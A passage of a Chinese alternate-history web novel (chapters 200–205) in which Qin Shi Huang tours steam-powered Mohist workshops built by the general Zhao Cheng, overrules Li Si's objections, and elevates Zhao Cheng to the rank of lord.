蒸腾的白气从雕花窗棂中涌出来,在廊下凝结成细小的水珠,沾在嬴政的袍角上,带着淡淡的炭火味。
“陛下,到了。”
赵诚推开一扇厚重的铁门,门轴转动发出“嘎吱”的闷响,像是打开了新世界的入口。
嬴政刚踏入院子,瞳孔便猛地一缩!
只见不远处的空地上,卧着一头“铁龙巨兽”。
那铁龙足有半座殿宇高,钢铁骨架在日光下泛着冷硬的光泽,黄铜汽缸如巨兽的獠牙般突兀地伸出,顶端的烟囱正喷吐着浓密的白汽,“嘶嘶”作响。
下方两条平行的铁轨嵌入青石地基,轨面打磨得光滑如镜,铁龙的铁轮便咬合在铁轨上,微微震颤着,仿佛随时会腾跃而起。
“这是何物?”
嬴政眉头一皱,退至赵诚身后……
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第200章 铁龙骋轨蒸云沸,朕心激越叹神工
嬴政征战半生,见过战车、楼船、投石机,却从未见过这般模样的“巨兽”
那股子浩荡运转的蛮力,竟比千军万马的冲锋更让人心头一凛。
但那钢铁的质感,轰隆浩荡的势头,却更让他心生好奇。
赵诚站在一旁,看着他戒备中带着好奇的神色,朗声笑道:
“陛下莫惊,此乃‘驰轨车’,是墨家子弟依蒸汽之法造的钢铁机关车。
它不需牛马牵引,不用水力驱动,只需烧煤,便能载着物资士兵,日行千里。”
“只烧煤炭,便可行千里?”
嬴政惊奇的目光落在铁龙的烟囱上,白汽正从那里源源不断地涌出,带着灼热的气息。
他缓步上前,绕着驰轨车细细打量,这里敲敲,那里摸摸。
铁龙的车身是由厚铁皮拼接而成,接缝处严丝合缝,竟看不出一丝松动。
车轮是实心铁铸,边缘带着细密的齿纹,恰好与铁轨的凹槽咬合。
车头的汽缸上缠着铜制管道,管道里隐约有蒸汽流动的“哗哗”声、
车后还连着几节车厢,车厢的铁皮上打了镂空的花纹,既能通风,又显精致。
他伸出手,指尖轻轻触碰到铁皮车身,只觉一片冰凉坚硬,与秦国兵器常用的青铜截然不同。
青铜虽韧,却难抵这般厚重,铁器虽硬,却易脆裂,可这铁皮摸上去,竟带着一种刚柔相济的质感。
“这铁……”
嬴政用指节敲了敲车身,发出“当当”的脆响,声响清越,不似凡铁,“竟能锻得如此规整?还这般坚韧?”
“墨家子弟用蒸汽锻压机反复捶打,去除了铁中杂质,”
赵诚解释道,“再以沸川鼓风提高火温,炼出的钢材自然远胜寻常铁器。”
“蒸汽锻压机?沸川鼓风?”
这两个东西嬴政亦是摸不到头脑。
赵诚笑道,“一会陛下见了就知道了。”
嬴政点点头,目光又被车头的操纵杆吸引。
那操纵杆是黄铜所制,顶端镶着一块墨玉,旁边还刻着细密的刻度,显然是用来控制车速的。
他小心翼翼地伸出手,碰了碰操纵杆,入手温润,竟不像个粗笨的机关零件。
“此物玄妙。”
他转过身,眼中的惊叹毫不掩饰,“现如今,能载人了吗?”
“虽还在调试,短途载人却无大碍。”
赵诚笑道。
“那便坐一坐试试。”
嬴政语气笃定,带着几分孩童般的好奇。
赵诚引着他走向后节车厢,推开铁皮车门。
车厢内铺着木板,木板上摆着两排木椅,椅面铺着软垫,虽不奢华,却干净整洁。
嬴政在椅上坐下,伸手摸了摸椅旁的铁皮壁,又看了看车顶的透气窗,嘴角的笑意越来越深。
“这种钢材,”
他指尖在铁皮上轻轻划过,“既刚硬又坚韧,用来造兵器、铸铠甲,怕是能让秦军战力提升数倍。”
“陛下所言极是。”
赵诚点头,“蒸汽工艺成熟后,墨家子弟的冶铁术已精进不少。
他们还造了‘百炼机’,能自动锻打铁器,效率极高,稍后臣再带陛下去看。咱们先试试这驰轨车。”
他转身对不远处一个满身黑灰的身影喊道:“禽滑厘,开车!”
禽滑厘满身黑灰,像是个烧锅炉的,闻言答应一声,拉下了闸门。
“好嘞!”
“轰隆——!”
车头的汽缸突然发出一声巨响,烟囱里喷出一股更浓的白汽,白汽中还夹杂着几点火星。
铁龙猛地一颤,车轮与铁轨摩擦发出“咔嚓”的声响,竟猛地向前移动起来!
嬴政下意识地扶紧了椅柄,只觉车身微微震动,速度陡然加快。
窗外的景物开始向后倒退——廊柱、石灯、正在忙碌的墨家弟子,都像被拉长的影子,飞速掠过。
车厢内听不到马蹄的“哒哒”声,也没有车夫的吆喝,只有蒸汽流动的“嘶嘶”声和车轮碾过铁轨的“哐当”声,却比任何车马都更显平稳。
“这大物竟能如此之快!”
嬴政看着窗外飞逝的景象,眼中闪过一丝震撼。
马车轻快,尚需数匹骏马拉动,颠簸颤动不说,而速度还不及此车!
楼船虽大,却需要顺流而下,亦或借助风力,也尚且能够理解!
可坐下这大物,可是以钢铁为身,厚重不知几何,更无天力地势能借助,却能够凭空发力,在短时间内提升到如此速度!
何等不可思议!
“卿在邯郸不足一月,竟弄出了如此奇物!”
嬴政靠在椅背上,眼睛看着窗外掠过的种种,手掌按在厚重的铁质车厢上,惊叹不已,“此物,属实精妙绝伦!”
“好似仙家车驾!”
嬴政无法理解,烧煤炭是如何能够产生如此大力,拖动这铁龙巨兽的。
他觉得这恐怕是赵诚带来的奇异。
而这等奇异,恐怕造价不菲。
其中定有什么隐秘的珍稀物件产生了作用。
“这驰轨车制作起来,可需要什么珍稀材料?”
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!赵诚摇了摇头,“此物只需要足够的铁矿和煤炭即可。”
嬴政眼睛一亮,大为惊喜,“若是如此,岂不是说,此物能够在秦国铺设普及?”
赵诚也惊讶于嬴政能够如此之快的铺设蓝图,他点了点头,“只要物资和工匠充足,此物的足迹便能够遍布秦国上下,秦国版图扩至何处,此物就能出现在何处!”
嬴政心头火热,长目明亮,“妙极!”
车窗外,禽滑厘正站在车头旁,一边调整操纵杆,一边回头朝车厢望来,脸上带着抑制不住的兴奋。
他从前总觉得,墨家“兼爱非攻”的理想,该在朝堂辩经、民间讲学中实现。
可自从跟着赵诚造出蒸汽机,看着驰轨车、润田车这些器物一点点成型,他才明白,能让天下人不再受饥寒,不再遭兵燹,才是真正的“兼爱”。
而这一切,都离不开眼前这位秦王的支持。
只要嬴政点头,墨家子弟就能拥有无尽的煤炭、铁矿,就能让驰轨车跑遍天下,让润田车浇遍良田。
到那时,他们这些人,怕是能创下比墨家祖师更辉煌的功业。
所以,这不是什么残暴不仁的秦王,这是兼爱天下的大金主啊!
是时候展现真正的技术了!
轰!
他狠狠拉杆,驰轨车的速度再上一层,而经费正在燃烧!
果然,嬴政表情更是惊叹三分……
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第201章 百机沸蒸兴霸业,宸极惊观启鸿图
驰轨车的铁轮与铁轨摩擦出最后一声“哐当”,稳稳停在起点。
嬴政推开车门,脚刚落地时微微一晃,却立刻稳住了身形。
他望着车头仍在“嘶嘶”吐汽的烟囱,指尖还残留着车厢铁皮的冰凉,眼中的光芒比日光更盛。
不过短短一炷香的车程,却让他看清了一幅从未想象过的图景:钢铁巨兽奔行千里,粮草军械朝发夕至,六国疆域尽在车轮之下。
“赵卿,”
他深吸一口气,语气里带着压抑不住的激荡,“此物当尽快推广。若能让驰轨车通遍秦国,东抵临淄,西达咸阳,南至寿春,北及蓟城,何愁天下不定?”
一旁的禽滑厘听得心头剧跳,手里的扳手差点掉在地上。
秦王亲口说“尽快推广”,意味着墨家的蒸汽之术将得到秦国倾国之力的支持,煤炭、铁矿、工匠、粮草……
从前想都不敢想的资源,转眼间就要唾手可得。
他悄悄抹了把脸上的烟灰,嘴角的笑意藏都藏不住。
赵诚却摆了摆手:“陛下稍安,除了驰轨车,墨家子弟还造了些物件,值得一看。”
嬴政眼中顿时燃起期待,颔首道:“好,便随你看看。”
穿过驰轨车所在的空院,前方传来更响亮的“咚咚”声,像是有巨锤在反复捶打大地。
赵诚指着前方一台青铜裹身的庞然大物道:“陛下,这便是百炼机。驰轨车的钢材、方才您摸过的铁皮,都是经它锻打而成。”
嬴政走上前,只见那百炼机扎根在半丈深的铸铁地基里,三根碗口粗的黄铜汽缸并排而立,活塞在缸内往复运动,带动着上方一尊半人高的钢质压锤。
压锤每落下一次,都发出震耳的闷响,地面随之轻颤。
此刻,两名墨家弟子正用铁钳夹着一块烧得通红的铁块,小心翼翼地放在砧上,那铁块足有门板大小,边缘还在“滋滋”冒着火星。
“咚!”
压锤应声落下,铁块如被巨石碾过的面团,瞬间被压薄寸许,边缘齐整得如同刀裁。
压锤升起时,嬴政清楚地看到,铁块表面竟泛起了镜面般的光泽,连他的身影都能隐约映在上面。
“这……”嬴政伸手想去碰,却被赵诚拦住。
“刚锻好的钢材还烫着,陛下不可触摸。”
赵诚解释道,“百炼机以蒸汽驱动压锤,力道均匀,可精准控制到‘毫厘’。寻常铁匠锻打十次才能去尽的杂质,它一次便可压出。
寻常铁器易脆裂,经它反复捶打的钢材,却能弯成圆环而不断。
方才驰轨车的铁轨,便是用这法子锻出来的,能承重万斤而不变形。”
嬴政盯着压锤落下的轨迹,只见旁边的标尺上刻着细密的刻度,压锤每次起落,都精准地停在同一标线处。
他忽然想起秦军的甲胄,青铜甲虽韧,却难抵强弩。
铁甲虽硬,却常因锻打不均而开裂。若用这百炼机造甲铸剑……
“好!好!”
他连说两个“好”字,眼中闪过厉色,“有此机,秦军甲胄可坚如磐石,弓弩可利似秋霜!”
往前再走,热浪扑面而来,夹杂着硫磺与矿石的气味。
一座丈高的熔炉立在院中,炉口的火焰竟泛着刺眼的白光,映得周围的工匠满脸通红。
与寻常熔炉不同,炉旁没有水力驱动的皮囊,而是连着一台铁制转轮。
转轮随着蒸汽机的传动轴转动,每转一圈,便带动皮囊“呼哧”鼓起一次,将风源源不断地送入炉内。
“这是沸川,”赵诚指着那转轮道,“用蒸汽驱动鼓风,比水力稳得多,便是天旱断河,它也能照常运转。”
嬴政凑近炉口,只觉一股灼气扑面而来,烤得他鬓角冒汗。
他看到炉内的矿石正在白光中融化,流淌成金色的铁水,顺着凹槽注入模具。
旁边的墨家弟子捧着一块刚炼好的钢锭笑道:“这钢锭里的杂质,至少比从前少了八成!”
嬴政接过钢锭,入手沉甸甸的,表面光滑如镜,用青铜剑划上去,竟只出现了一道拜痕。
他想起秦国冶铁的困境,水力鼓风受限于河流,火势时强时弱,炼出的铁器常带砂眼。
可这沸川鼓出的风,竟能让火焰恒定如昼,连最难熔的高碳钢都能化如流水。
“此物若推广到各郡铁官,”
嬴政喃喃道,“秦国铁器产量恐怕至少能翻三倍。”
他心中愈发震撼莫名,
赵诚在此地这么短的时间,却已经鼓捣出了能够改变大秦万世之基业的恐怖东西啊……
“陛下,还有。”
赵诚继续领着嬴政前行,嬴政心头则是激动不已。
光是这些东西,已经能够改变整个世界格局。
还有其他……
穿过冶铁区,前方传来“哗啦啦”的水声。
一台架在木架上的器械正在运转,一串链斗随着齿轮转动,从旁边的池塘里舀起水,顺着竹管送向高处的田垄模型,水流漫过沙盘,瞬间浸润了整个“农田”。
“这是润田车,”赵诚指着链斗道,“用蒸汽驱动,不用牛拉人推,能将低处的河水提至十丈高的田垄。”
嬴政走到模型旁,看着水流顺着“田埂”分流,滋润着每一寸“土地”。
再想起关中,每年春耕,农夫们需数十人合力摇动龙骨水车,一日也浇不了百亩地,遇上大旱,往往颗粒无收。
可这润田车的链斗转得飞快,竹管里的水几乎成了水柱。
赵诚在一旁介绍道,“陛下,此物单日可灌千亩”。
“千亩……”
嬴政微微失神,指尖在沙盘上划过,“若关中各渠都装此车,何愁旱灾?”他忽然转身,对身后的侍中道,“也记下来,此润田车,先在关中推广,让内史府亲自督办。”
再往前,织机的“咔哒”声密集如雨点。
一台经纬机旁站着两名女工,她们只需轻踩踏板,蒸汽机便带动综片起落,丝线在经纬间穿梭,织出的麻布细密得能透光。
“这经纬机,织速是寻常织机的十倍,”赵诚拿起一匹布,“还能通过齿轮调节密度,可织麻布,亦可织丝绸。”
嬴政看着丝线在铁架间飞舞,仿佛看到了咸阳的织室,从前十名织工一月才能织出的锦缎,这机器一日便可完成。
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第202章 政断兴机开墨阁,群僚疑诡阻新程
不远处。
一台转谷机正在轰鸣,麦粒从漏斗落入,经蒸汽驱动的石磨碾压,瞬间变成雪白的面粉,顺着出口流入布袋。
赵诚道:“这转谷机,一日可磨百石谷,抵得上二十个碾坊!”
一日百石,一抵二十!
这生产力……
嬴政的眸光更盛了一些。
他看向另一处,“这是何物?”
赵诚笑道,“此乃穿渠机!”
更远处,一台穿渠机正对着一块巨石作业,蒸汽驱动的钢钎反复冲击石面。
“砰砰”作响,不过片刻,坚硬的岩石便被凿出一个大洞。
“有了它,开凿运河、疏通河道,效率也能提数十倍!”
“这一台机器,可抵过几十个人的功用,而消耗的煤炭却比粮食要少的多了。”
嬴政一路看过去,眼神从惊叹渐变为凝重,到最后甚至有些麻木了。
这哪里是一些机关器具,这是能够改变当下所有人生活的东西啊!
他看到经纬机能让百姓有衣穿,转谷机能让仓廪有粮积,穿渠机能让沟渠通四方,这些器物,虽无驰轨车的磅礴,却关乎天下民生。
“赵卿,”
嬴政在工坊的空地上停下脚步,语气陡然凝重:“这些器物,关乎国本,需尽快在秦国推广开来。”
他顿了顿,目光扫过那些运转的机器,眸中闪过一丝警惕,“但有一样——核心技艺,万万不可泄露给他国。”
赵诚点了点头道,“陛下不需担心。
这些器械的图谱、锻打之法、蒸汽原理,如今都攥在臣与墨家子弟手中。
若只是抄录图谱分发各地仿制,难保不会有工匠被他国重金收买,泄了机密。”
他指尖在百炼机的铁架上轻轻一点,“臣以为,需单独建一个机构,从矿石开采、钢材锻打,到器械组装,全流程由专人监控,每个环节只让工匠知晓自己负责的部分,方能杜绝泄密。”
嬴政凝重点头,“你说得在理。”
他的目光落在不远处正在调试润田车的墨家弟子身上,眉头微蹙——墨家“兼爱非攻”的理念,他早有耳闻。
这些人从前常帮六国守城,与秦国的“耕战”之道本就相悖。
如今核心技艺握在他们手中,终究是桩隐患。
赵诚看穿了他的顾虑,沉声解释:“陛下放心。这些墨家子弟亲眼见了蒸汽机的威力,百炼机能让铁器坚不可摧,沸川能让冶铁效率倍增,润田车能救万民于旱灾……
他们如今心里比谁都清楚,这些器物能带来的实惠,比空谈‘兼爱’要实在得多。”
他话锋一转,“臣建议,在咸阳设‘墨阁’,赐这些墨家子弟‘秦墨官’之职,食秦禄、为秦用。
如此一来,他们既有立身之地,又能凭技艺建功封爵,自然会与旧墨家彻底切割,一心为秦国效力。”
“至于墨阁的重器研发、技艺推广,”
赵诚微微躬身,“臣愿亲自督管,确保每一步都在掌控之中。”
嬴政眼中瞬间亮起,拍了拍赵诚的肩膀:“此计甚妙!
便依你所言,建墨阁,设墨官。”
但他随即补充,“只是此事牵连甚广,需让朝中重臣一同商议细节,令少府、治粟内史、中尉等部全力配合,方能稳妥。”
此时李斯正忙着审定那些与嬴政有旧怨的赵国贵族罪名,王绾等随行重臣则在筹备赵诚的伦侯册封礼仪。
这些事在寻常看来,已是重中之重。
可嬴政深知墨阁之事关乎长远,当即命内侍:“去把李斯、王绾、冯劫他们都叫来,就说寡人有关乎秦室万世基业的大事商议。”
半个时辰后,赵王昔日处理朝政的大殿内,梁柱上的盘龙雕饰仍透着赵国最后的奢华,却已被秦国的黑旗压过了气势。
李斯、王绾、冯劫等重臣鱼贯而入,脸上都带着几分疑惑。
什么事能比清算赵仇、册封功臣更紧急?
嬴政端坐于昔日赵王的王座上,目光扫过阶下众臣,开门见山:“诸卿可知,赵诚在邯郸俘获了三百余名协助赵国守城的墨家子弟?”
众臣点头,李斯拱手道:“臣已知晓,正欲奏请陛下,如何处置这些‘助敌’之人。”
“处置?”
嬴政笑了笑,语气带着前所未有的郑重,“非也。
这些墨家子弟,在赵诚的督造下,造出了许多国之重器。
这些器物,绝非寻常机关可比。
它们能让秦国的冶铁效率翻数倍乃至数十倍,能让关中再无旱情之忧,能让粮草运输一日千里,更能彻底改变将来的征战格局!”
“寡人亲眼所见,深知其力。”
嬴政的目光如炬,“这些东西,将会带来惊天变革,甚至开创一个全新的时代,为我大秦铸造万世基业!”
看着嬴政那有些激动的表情,以及如此夸张的说法,阶下众臣的脸色渐渐凝重起来。
冯劫忍不住开口:“陛下,墨家向来主张‘兼爱非攻’,与我大秦‘耕战’之道相悖。
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!他们若真有此能,何以坐视韩赵被灭?”
嬴政摇了摇头,继续道:“自是落到赵诚手中才有此能的,至于非攻与耕战相悖……寡人欲设‘墨阁’,封这些墨家子弟为‘秦墨官’,使其与旧墨家完全切割开来,再让他们引领全国推行这些器物。
赵诚熟悉此事,由他全盘掌控,少府负责物料,治粟内史协调推广,中尉派兵护卫工坊,诸部皆需配合。
众卿以为如何?”
此话落下,殿中一盘寂静,众臣不语。
“开创时代?铸造万世基业?”
王绾皱紧眉头,心底满是疑虑。
他辅佐嬴政多年,见过无数奇技淫巧,却从未听过有器物能担此重任。
墨家子弟从前帮各国守城时,也没见他们拿出什么“重器”,如今被赵将军俘获,反倒有了这般神通?
这速度未免也太快了,不论怎么想,都像是专门来骗人的。
大殿内一时陷入沉默,众臣的眼神交汇,都从彼此眼中看到了担忧和狐疑。
也不知那些墨家子弟如何蛊惑了赵将军和陛下,竟让陛下突然这般看重这些机关巧术,竟要让与秦为敌的墨家子弟登堂入室,甚至“开创时代”?
这要是让墨家借此机会渗透秦国朝堂,从而以‘兼爱非攻’改变秦国的耕战根基,那可就完了。
李斯面色凝重,第一个上前反对,“陛下!臣以为不妥!”
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第203章 百器惊尘撼臣心,铁骑藏锋待露芒
“今陛下承六世先王之余烈,欲扫平六合、息灭战乱,此乃顺天应人的大义之举。”
他抬眼直视嬴政,目光锐利如刀,“可墨家素守‘非攻’之道,实则是欲保六国残喘、令天下战乱不休——昔日他们助魏抗秦、助赵守邯郸,便是明证!
此等助纣为虐之辈,若得重用,将士必疑‘攻伐有罪’,百姓必惑‘征战非义’,陛下的统一大业,恐将毁于一旦!”
“再者,墨家有巨子私党,有‘墨法’私法。”
李斯话锋一转,语气愈发沉厉,“其弟子只知有巨子,不知有陛下。
只守墨法,不遵秦律!
昔年墨家腹朜在秦,其子杀人,秦惠王欲赦之,腹朜却言‘墨者之法,杀人者死’,竟亲手杀子。
此乃‘法在君上’之兆!
今若重用墨者,使其遍布朝野,巨子一言可令万人生死,陛下的君权,岂非要旁落于私党之手?”
这是法家最忌讳的“私权凌君”,是他毕生守护的“法治”大道之死敌。
李斯攥紧玉笏,指节泛白,继续道:“且墨者虽善造奇器,然多为‘守城之具’‘平民小利’,于攻城略地、转输军粮何益?
秦国如今地有限、民力有限,若将资源耗在这些‘无用之巧’上,轻则军无粮草、士无斗志。
重则耕战体系崩解。
此乃动摇国本之举啊!”
“最根本者,”
他声音陡然拔高,“秦国以法立国,法家言‘君臣上下有分,贵贱尊卑有序’。
墨家却言‘兼爱’‘无差等’,是欲乱我大秦尊卑!
法家言‘以刑去刑,以战止战’。
墨家却言‘非攻’弃武力,是欲废我大秦国法!
今若容墨家之说流布,百姓将惑于‘兼爱’而忘君臣之分,迷于‘非攻’而轻王法权威,终致‘百家争鸣而君权衰微’。
陛下忍见此景吗?”
一连串诘问如连珠炮发,从统一大业、君权旁落,到国本动摇、思想冲突,句句直戳要害。
嬴政端坐王座,听完只是淡淡摇头,语气带着几分无奈:“李卿有所误会。
此墨家非彼墨家。
这些子弟皆是赵诚俘获,经他以蒸汽秘术点拨,思想早已转变,与我大秦重法之道并无悖逆。”
他顿了顿,目光扫过阶下众臣,“且寡人用的是他们的工艺,而非他们的‘非攻’思想,何谈‘误国’?”
李斯还欲再争,嬴政却抬手止住了他。
帝王的目光掠过王绾、冯劫等人,见他们虽未言语,眉宇间却都凝着反对之色。
显然,满朝重臣多不赞成。
他心中清楚,这些器物若要推行,离不开诸部配合,强行下令只会适得其反。
“罢了。”
嬴政缓缓起身,龙纹袍在地面拖曳出沉稳的声响,“空言无益,寡人带你们去亲眼看看便是。”
他目光陡然一厉,扫过众人,“但有一事切记。
工坊中所见之物,皆是国之重器,半句细节不得外传,违者——斩!”
众臣虽口中应诺,心底却多不以为意。
墨家机关术纵有玄妙,他们身为秦廷重臣,见过的奇技淫巧亦不在少数,难道还能真如陛下所言,“动摇国本”?
这般声势,怕是有些小题大做了。
在赵诚的引领下,众人穿过宫墙,往工坊而去。
刚踏入工坊范围,一阵“轰隆”巨响便从前方传来,伴随着浓烈的白汽蒸腾,一头钢铁巨兽正沿着铁轨奔行而来。
凶猛浩荡,好似荒古蛮兽择人而噬。
众人当即全都吓了一跳。
“何物作祟!”冯劫惊喝一声,下意识拔刀护在嬴政身前,甲叶碰撞发出刺耳的脆响。
“是妖物!保护陛下!”有年轻郎官吓得后退数步,脸色惨白。
更有甚者,双腿一软竟直接瘫坐在地,嘴里喃喃念着“钢铁成精”,浑身抖如筛糠。
嬴政看着这一片混乱,等众人稍稍镇定,才缓缓开口:“众卿莫慌。
此物名驰轨车,乃赵诚督造的运输重器,无需牛马牵引,烧煤便可日行千里,专运军粮军械。”
“日行千里?”
王绾瞪大了眼睛,满脸难以置信。
他曾主持过秦国漕运,深知千里运粮需耗多少人力畜力,这钢铁巨兽竟有这般神通?
李斯亦是眉头紧锁,盯着驰轨车仔细打量。
铁皮车身严丝合缝,汽缸运转有序。
不像“妖术”,而是精密的机关之术。
可这等规模与力道,已远超他对“墨家机关”的认知。
“上来试试便知。”
嬴政率先踏上车厢,赵诚紧随其后。
众臣面面相觑,最终还是硬着头皮跟上。
驰轨车再次启动,速度越来越快,窗外的景物飞速倒退。
车厢内虽有震动,却比最平稳的马车还要安稳。一炷香后,车稳稳停回起点,众臣下车时,有的腿还在打颤,眼中却已多了几分震撼。
“这……这当真能运粮?”
冯劫抚摸着冰冷的铁皮,语气里带着怀疑,却少了几分抵触。
嬴政不答,转而带他们去看百炼机。
只见巨大的钢锤在蒸汽驱动下反复起落,通红的铁块在砧上迅速成型,表面光滑如镜,连一丝砂眼都无。
“此机能锻百炼精钢,造甲则坚不可摧,铸剑则削铁如泥。”赵诚解释道。
再看沸川,鼓风之力恒定如昼,熔炉内的铁水金亮如流,旁边堆着的钢锭泛着冷光。
润田车的链斗飞速转动,将河水提至十丈高台,灌溉模型中的“农田”瞬间湿润。
经纬机前,两名女工轻踩踏板,丝线便在蒸汽驱动下织成细密的麻布,速度是寻常织机的十倍……
一路看下来,众臣从最初的惊惧,到茫然,再到难以置信的惊叹。
李斯站在百炼机前,看着钢锤精准落下,将铁块锻成薄如蝉翼的钢片,嘴唇动了动,却一个字也说不出来。
他终于明白,这些器物绝非“无用之巧”,其对冶铁、农耕、纺织的革新,足以让秦国国力倍增。
“相国方才说,墨家器械于征战无用?”
赵诚忽然开口,看向李斯,“某再带诸位看看另一批器械。”
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第204章 锐械初呈昭伟功,王命特晋武威君
“陛下,这些征战之器还未成形,故而方才没有领陛下来看,现如今,既然相国有所质疑,便一起看看这些半成品吧。”
赵诚引众人来到一处戒备森严的院落,里面摆着几台半成品器械:
一台连**战车,箭匣足有半人高,蒸汽管道连接**机,显然是用蒸汽蓄力;
一台抛石机,底座装着铁轮,图纸上标着“可抛千斤石,射程三里”;
一艘铁壳小船,船头装着螺旋桨,旁注“沸波舟,逆水行舟如履平地”;
还有一台钢钎突出的机器,标注着“穿岩机,一日可凿山十丈”。
“这些还在调试。”
赵诚指着连**车道,“但假以时日,此车一次可发箭百支,覆盖十丈范围,敌军阵列转瞬即溃。
抛石机可轰塌城墙,无需再让将士蚁附攻城。
沸波舟能载甲士千人,逆长江而上直抵楚都。
穿岩机能打通秦岭栈道,粮草可直抵巴蜀。”
嬴政走到连**战车前,指尖抚过冰冷的**臂,眼前仿佛浮现出战场图景:
蒸汽连**齐发,箭矢如暴雨倾落,敌**队溃不成军。
沸波舟乘风破浪,秦军甲士踏浪登岸,直捣楚国腹地……
众人看着这些东西,眼睛几乎都要掉出来了。
经历了刚才的驰轨车等一应物件,再无人怀疑这些东西造出来之后的威力。
王绾触摸着那蒸汽连**,双目失神,“一次可发箭百支,覆盖十丈范围……”
“这东西造出来,我秦国兵锋所指,必是所向睥睨啊!”
李斯则是看着那座投石车,“若是能够凭借此物,直接轰塌城墙,那更是攻无不克,不论什么坚城,都可以轻松破之。”
嬴政的眼睛更是无比明亮,没有想到,赵诚刚才竟然还隐藏了如此惊喜在这座院落之中。
“这些,还要多久能造出成品?”嬴政的声音里带着压抑不住的急切,眼中的光芒亮得惊人,像是有团火焰在燃烧。
赵诚思索片刻说道,“若是物资充足,工匠充足的话,月余便能够看到第一批成品。”
“不过月余……”嬴政低声重复着,嘴角猛地扬起一抹爽朗的笑,那笑容里带着帝王的笃定与期待,“好!朕等得起!”
他转过身,目光落在李斯身上,语气斩钉截铁:“即日起,建立秦国墨阁,由赵诚担任墨阁之主,各部协理配合,全力推行墨阁工坊!”
“李卿,赵国的户籍、田产、府库物资,你尽快清点造册。
除了留足驻军所需,其余的,尤其是铁矿、煤炭、工匠,全部调拨给墨阁,优先供应这些器械的打造!”
李斯躬身领命,动作干脆利落,再无半分犹豫:“臣遵旨!
臣这就安排人,将邯郸城的铁匠铺、冶铁坊全部登记造册,明日便让墨家子弟挑选合用的人手。
府库中的铁矿,臣会亲自监运,确保一日不缺!”
嬴政的目光从那些半成品器械上收回,落在赵诚身上时,眼中带着毫不掩饰的嘉许。
“赵卿,”
他的声音沉稳而有力,在院子里回荡,“你督造的这些器械,能革新冶铁、农耕,更能强我军锋,此等功绩,足以撼动秦国根基,比之灭赵之功,犹有过之。”
他顿了顿,想起先前的安排,继续道:“寡人本已决意,在邯郸为你举行封爵仪式,晋你为伦侯。
但今日见了这些国之重器,才知先前的封赏仍显不足。”
说到这里,嬴政的目光扫过阶下众臣,语气陡然郑重,带着帝王一言九鼎的威严:“明日起,再加封你为‘武威君’,食邑三万户,许你开府治事,总领墨阁诸事,凡与器械研发相关的工匠、物资,皆可凭你手令调遣。”
“封君?!”
这两个字刚落地,院子里便响起一片低低的抽气声。
众臣脸上皆是一副难以置信的神情,连李斯都忍不住微微睁大了眼睛。
在秦国,“君”爵乃是军功的极致,自商君变法以来,能得封君者,皆是如商鞅、白起、魏冉那般立有不世之功的肱骨之臣。
商鞅变法强秦,白起破楚坑赵,魏冉辅立三王,哪一个不是搅动天下的人物?
可转念一想,众
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臣又觉得理所当然。
赵诚何人?灭韩时八日破新郑,斩韩王于阵前。
攻赵时三日下邯郸,生俘李牧,十日席卷赵境,此等战功早已够得上封爵之资。
更遑论他如今督造的蒸汽器械,百炼机能强甲,沸川能丰铁,驰轨车能速运,连**战车能破阵。
这些器物对秦国的改变,怕是比商君变法时的耕战之法,还要来得迅猛。
王绾捋着胡须,看向赵诚的目光中满是赞叹:“武威君……好一个武威!赵将军以武力慑服韩赵,以巧技强我大秦,此爵当得,当得啊!”
李斯亦颔首认同。
他虽与墨家理念相悖,却深知“功必赏”乃是秦法核心。
赵诚这等功绩,别说封君,便是再厚的赏赐也不为过。
毕竟这些器械能加速统一,而统一之日,便是法家大道彻底推行之时。
赵诚躬身领命,暗红大氅在身后铺开,如一片沉静的墨红色:“臣谢陛下隆恩。
臣必早日将这些器械铸成,助陛下一统天下。”
嬴政看着他挺拔的背影,嘴角扬起一抹笑意。
有此等能臣,有此等利器,何愁天下不定?
夕阳的余晖透过院墙上的窗棂,洒在那些冰冷的器械上,泛着金色的光泽,仿佛预示着一个属于大秦的、前所未有的辉煌时代,正在缓缓拉开序幕。
暮色渐浓,蒸汽在工坊上空凝成白雾,将那些运转的机器笼罩其中,仿佛一幅朦胧而壮阔的画卷。
百炼机的捶打声、沸川的鼓风声、润田车的水流声交织在一起,汇成一曲奇异的乐章。
嬴政走出门去,又回望这片工坊,忽然觉得,统一天下的日子,或许比他想象的要近得多了。
“回行辕。”
他迈步向外,声音里带着前所未有的轻快,“用不了多久,寡人就能亲眼看着第一炉用沸川炼出的钢,铸成秦军的新甲了。“
秦国的造甲工艺虽然成熟,但是相比于墨阁之中的这些钢材,差的已经不是一丁半点。
至于效率,人工又如何能够和蒸汽机锻造相比?
……
第205章 金印加身昭盛宠,锐师振臂庆荣勋
邯郸王宫前的广场上,青石板被昨夜的雨水冲刷得油亮,倒映着天边初生的朝阳。
广场南端,嬴政身着玄色冕服,端坐在临时设下的丹陛之上。
身后是垂落的黼黻屏风,绣着日月星辰、山龙华虫,象征着君王的至高权柄。
丹陛两侧,李斯、王绾等重臣按品级分列,腰间绶带或紫或青,玉佩碰撞声细碎而庄严。
广场中段,蒙武、王翦等大将身披将军铠,按剑而立。
蒙武望着丹陛前方的赵诚。
这位半年前才随他攻韩的少年士卒,此刻身着玄甲红披,身姿挺拔,巍然如岳,鳞甲耀辉,透着无边霸烈,站在那里,好似能暗天光。
他低声对身旁的王翦道:“半年之前,阳城县外,蒙威在那县廷校场上,将他举荐给我时,我便知此子非池中之物。
然而怎么也想不到,这还没过一年,他竟连破韩赵两地,受封伦侯,这般进境,怕是前无古人了。”
王翦颔首,目光落在赵诚身上,带着几分惊叹。
能在短短半年平定韩赵,这份功业,说是前无古人的传奇,并不为过。
广场北端,被缚的赵国王室贵族跪在泥泞中,颈间铁索拖拽着地面,发出刺耳的声响。
他们低垂着头,不敢直视丹陛,却能清晰听见司仪官那穿透广场的嗓音,每一个字都像鞭子,抽打着他们**的**。
“吉时到——”
司仪官高声唱喏,手中长柄玉圭指向天空,朝阳恰好跃出云层,金光洒满广场。
“宣——策命!”
李斯出列,展开一卷鎏金竹简,策命文辞以大篆书写,墨迹沉凝如铁:
“维秦王政十五年,岁在己巳,邯郸新定。
王曰:昔我缪公自岐雍之间,修德行武,东平晋乱,以河为界。
西霸戎翟,广地千里。今赖宗庙之灵,将士用命,方有今日之基。
其上将军赵诚,勇冠三军,智略超群。
初,受赵人密信离间,王知其忠,故令其将计就计,伪贬颍川。
诚不负王命,率血衣军二万,潜师北进,穿魏境如无人之地。
两日破邺县,斩赵守将颜聚,歼其甲士五万余,获粮秣万石,漳水天险为我所用,此其一功也。
